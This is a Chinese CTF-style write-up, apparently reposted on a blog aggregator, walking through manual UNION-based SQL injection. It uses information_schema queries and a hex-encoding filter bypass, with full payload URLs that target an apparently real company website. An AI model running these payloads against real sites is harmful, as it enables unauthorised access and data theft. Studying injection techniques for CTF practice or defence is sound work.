write up:web 实战2-注入--sql注入(手工注入详细版)
0x00查找注入點
我是通過展開html標簽來找注入點的
注入點
下面開始盤它!!!
0x01 手動注入
先確定字段數(shù)目
先測試3,沒有問題
再測試6,出錯
再測試5,id=28時,不知道是不是我網(wǎng)的問題加載的很慢,我換成id=1進行測試,發(fā)現(xiàn)響應(yīng)沒有問題
這就確定了字段有5個
可以進一步驗證:
查一下數(shù)據(jù)庫名
查一下數(shù)據(jù)庫版本
為了防止其他信息的干擾:id=-1
MariaDB數(shù)據(jù)庫管理系統(tǒng)是MySQL的一個分支,主要由開源社區(qū)在維護,采用GPL授權(quán)許可 MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能輕松成為MySQL的代替品。在存儲引擎方面,使用XtraDB(英語:XtraDB)來代替MySQL的InnoDB。–度娘
也可以查查用戶
(多練習(xí)一下~)
先切入正題
爆出表名
上面的就是表名
這里有一個問題,查出來的表名是亂序的
(我嘗試了將現(xiàn)在查出來的表名的最后一個當(dāng)flag提交并不正確!!)
這里表名不是很多,可以一個一個去試,但是這比較笨~。
我思考了一下,數(shù)據(jù)庫中的表名是不是字典序呢?
先按表名(即這里的第二個字段)排序,交最后一個試試:
http://www.kabelindo.co.id/readnews.php?id=-1 union select 1,table_name,3,4,5 from information_schema.tables where table_schema=database() order by 2flag{tbnomax}
拿去提交提交,的確就是正確答案~
所以數(shù)據(jù)庫中表名是按字典序排序的猜想貌似得到了驗證啊~~
補充:學(xué)了數(shù)據(jù)庫的都知道,order默認是升序(ASC),降序為(DESC)。
0x03在這題中多加練習(xí)
爆出所有數(shù)據(jù)庫名
http://www.kabelindo.co.id/readnews.php?id=-1 union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata
group_concat()
是將查詢到的結(jié)果放到同一個組中
如果數(shù)據(jù)庫名為敏感字段
直接用敏感字段查詢不到結(jié)果,
可以將數(shù)據(jù)庫名轉(zhuǎn)換為16進制再查詢。
(上面數(shù)據(jù)庫名直接使用的database(),所以繞過了敏感字段檢查)
‘u9897uwx_kabel’ = ‘0x75393839377577785f6b6162656c’
字符串轉(zhuǎn)16進制的腳本
import binascii s = 'u9897uwx_kabel' str_hex = binascii.b2a_hex(s.encode('utf-8')) print(str_hex) #之后加上0x前綴!!! http://www.kabelindo.co.id/readnews.php?id=-1 union select 1,table_name,3,4,5 from information_schema.tables where table_schema=0x75393839377577785f6b6162656c order by 2
和database()效果一樣,具體原因有待研究。
單獨查一下’informtion_schema’=‘0x696e666f726d74696f6e5f736368656d61’,
查詢某張表中的字段
(這里表名也是敏感字段,同理進行16進制編碼)
‘tbnomax’ = ‘0x74626e6f6d6178’
查找表中的具體內(nèi)容
此時表名不是敏感字段了
http://www.kabelindo.co.id/readnews.php?id=-1 union select 1,group_concat(nokode,nogrp,nomax),3,4,5 from tbnomax這篇 ----- 》 end~
總結(jié)
以上是生活随笔為你收集整理的write up:web 实战2-注入--sql注入(手工注入详细版)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: write up: web login1
- 下一篇: write up::web 实战2-注入